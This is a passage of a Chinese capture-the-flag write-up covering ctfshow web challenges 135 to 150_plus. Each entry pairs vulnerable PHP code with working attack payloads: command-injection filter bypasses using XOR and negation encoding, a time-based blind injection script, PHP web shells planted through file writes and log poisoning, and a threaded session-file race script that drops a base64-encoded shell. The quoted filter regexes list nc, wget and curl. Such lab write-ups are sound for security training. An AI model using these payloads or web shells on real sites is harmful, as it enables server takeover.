    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("師傅們居然破解了前面的,那就來一個加強版吧");
    }
}

和 133 題不同的是,這次禁用了 curlcat,卻放開了寫檔案,反而更簡單了。

payload: ?F=`$F`; mv flag.php 1.txt  

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

正則禁用了 >,可以用 |tee 代替。
payload1: ?c=ls /|tee 1
payload2: ?c=cat /f149_15_h3r3|tee 2

web137

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

PHP call_user_func on a static method

$class = '\\MyBundleNamespace\\MyClass';
$method = 'myFunction';

Both calls should work:

call_user_func("$class::$method");
call_user_func(array($class, $method));

payload: ctfshow=ctfshow::getFlag
payload: ctfshow[]=ctfshow&ctfshow[]=getFlag

web138

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

禁用了 :,還可以以陣列的形式傳參。
payload: ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

遮蔽了不少東西,exec 沒有回顯,寫個指令碼盲注

import string
import time

import requests

url = "http://bd33e54f-6289-4649-b28f-de3bd362f3d4.challenge.ctf.show:8080/"

# payload = "ls /"
# bin\ndev\netc\nf149_15_h3r3\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr
payload = "cat /f149_15_h3r3"
template = "if [ `{payload}|awk 'NR=={line}'|cut -c {index}` == {char} ];then sleep 3;fi"


def valid_char(line: int, index: int, char: str) -> bool:
    start_time = time.time()
    _ = requests.get(url, params={
        "c": template.format(
            payload=payload,
            line=line,
            index=index,
            char=char
        )
    })
    end_time = time.time()
    return end_time - start_time >= 2.5


result = ""


# for l in range(1, 20):
#     for i in range(1, 40):
#         try:
#             for c in "{}-" + string.printable:
#                 if c == " ":
#                     raise Exception("End of line")
#                 if valid_char(l, i, c):
#                     result += c
#                     print(f"[*] result: {result}")
#                     break
#         except:
#             break
#     result += "\\n"

for i in range(1, 100):
    for c in string.printable:
        if c == " ":
            result += " "
        if valid_char(1, i, c):
            result += c
            print(f"[*] result: {result}")
            break

web140

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 12:39:25

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

弱型別比較,'ctfshow' 在比較時會被轉換成 int(0),所以前面的 $code 只需要能被 intval 函式轉換為 int(0) 就行。
payload: f1=dir&f2=system

web141

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

正則過濾了字母數字下劃線,還可以用取反或者異或繞過

<?php

# 取反
var_dump("-(~".urlencode(~'system').")(~".urlencode(~'tac flag.php').");");

$ways = array();
for ($i=128;$i<=256;$i++) {
    for ($j=128;$j<=256;$j++) {
        $a = $i ^ $j;
        if (31 < $a && $a < 127) {
            $key = urldecode("%".base_convert($a, 10, 16));
            // echo "%$i^%$j => ".$key."\n";
            $ways[$key][] = ["%".strtoupper(base_convert($i, 10, 16)), "%".strtoupper(base_convert($j, 10, 16))];
        }
    }
}

function make_xor($str) {
    $str_a = "";
    $str_b = "";
    global $ways;
    foreach(str_split($str) as $s) {
        $way = $ways[$s][0];
        $str_a .= $way[0];
        $str_b .= $way[1];
    }
    return "$str_a^$str_b";
}

# 異或
var_dump("-(".make_xor("system").")(".make_xor("tac flag.php").");//");

payload: ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
payload: -(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0);

web142

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

要求引數 v1 是個能過 is_numeric 函式的字串,還要 sleep $v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d 這麼多秒,傳 0 就能繞過。
payload: ?v1=0

web143

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

相比 141 禁用了 ~ 那就只能異或了,還禁用了 - 可以用 * 代替,禁用了 ; 可以用 ?> 代替。
payload: ?v1=1&v2=2&v3=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E

web144

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

位置改到了 v2,其他照舊
payload: ?v1=1&v3=2&v2=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E

web145

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

相比之前禁用了異或,但又解禁了取反,擱著反覆橫跳呢?
+-*/;> 都被禁用了,還可以用 | 或者三元表示式連線前後的數字。
payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

禁用了三元表示式,對上題的 payload 沒影響,一把梭
payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

根名稱空間呼叫全域性函式繞過正則,create_function 函式程式碼注入。
url: ?show=;}system('tac flag.php');//
body: ctf=\create_function

web148

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

沒過濾異或,改一下前面的指令碼用用。

<?php

$ways = array();
for ($i=128;$i<=256;$i++) {
    for ($j=128;$j<=256;$j++) {
        $a = $i ^ $j;
        if (31 < $a && $a < 127) {
            $key = urldecode("%".base_convert($a, 10, 16));
            // echo "%$i^%$j => ".$key."\n";
            $ways[$key][] = ["%".strtoupper(base_convert($i, 10, 16)), "%".strtoupper(base_convert($j, 10, 16))];
        }
    }
}

function make_xor($str) {
    $str_a = "";
    $str_b = "";
    global $ways;
    foreach(str_split($str) as $s) {
        $way = $ways[$s][0];
        $str_a .= $way[0];
        $str_b .= $way[1];
    }
    return "$str_a^$str_b";
}

var_dump("(".make_xor("get_ctfshow_fl0g").")();");

payload: ?code=(%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80^%E7%E5%F4%DF%E3%F4%E6%F3%E8%EF%F7%DF%E6%EC%B0%E7)();

web149

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

預期解是條件競爭,但是網不好就讀不出 flag,用了非預期在 index.php 寫 shell。
url: ?ctf=index.php
body: show=<?php eval($_POST[1]);

web150

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#過濾字元
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

非預期日誌檔案包含,在嘗試寫 shell 的時候被套娃問題坑到,日誌這裡還是容易忽略。
url: ?isVIP=1
body: ctf=/var/log/nginx/access.log&1=file_put_contents('sh.php', base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=="));
UA: <?php eval($_POST[1]); ?>

web150_plus

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#過濾字元
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

修復了非預期,不讓包含日誌檔案了。
這裡利用了 extract 覆蓋變數會把 空格 [ . 都給轉成下劃線的特性,繞過正則過濾。然後就是 __autoload 函式,這裡寫的是呼叫要載入的類名的函式,傳 phpinfo 就能得到 session 相關資訊,從而包含 session
payload1: ?..CTFSHOW..=phpinfo
可以看到 session.use_strict_mode 為 Off,說明可以自定義 session_id,控制 session 檔名, session.save_path 為空,確定檔案包含路徑 /tmp/sess_{session_id}。改一下祖傳指令碼寫 shell。

import io
import requests
import threading
url = 'http://fa7db7de-329e-44cf-8270-bcd8d7f96368.challenge.ctf.show:8080/?isVIP=1'


event = threading.Event()


def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaaa<?php file_put_contents("/var/www/html/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=="));?>'
    }
    while True:
        if event.is_set():
            return
        f = io.BytesIO(b'a' * 1024 * 10)
        _ = session.post(url,cookies={'PHPSESSID': 'down'}, data=data, files={'file': ('verysafe.txt', f)})


def read(session):
    while True:
        if event.is_set():
            return
        response = session.post(url, data={"ctf": "/tmp/sess_down"})
        if 'aaaaaa' in response.text:
            print(response.text)
            event.set()
        else:
            print('retry')


if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()
    event.wait()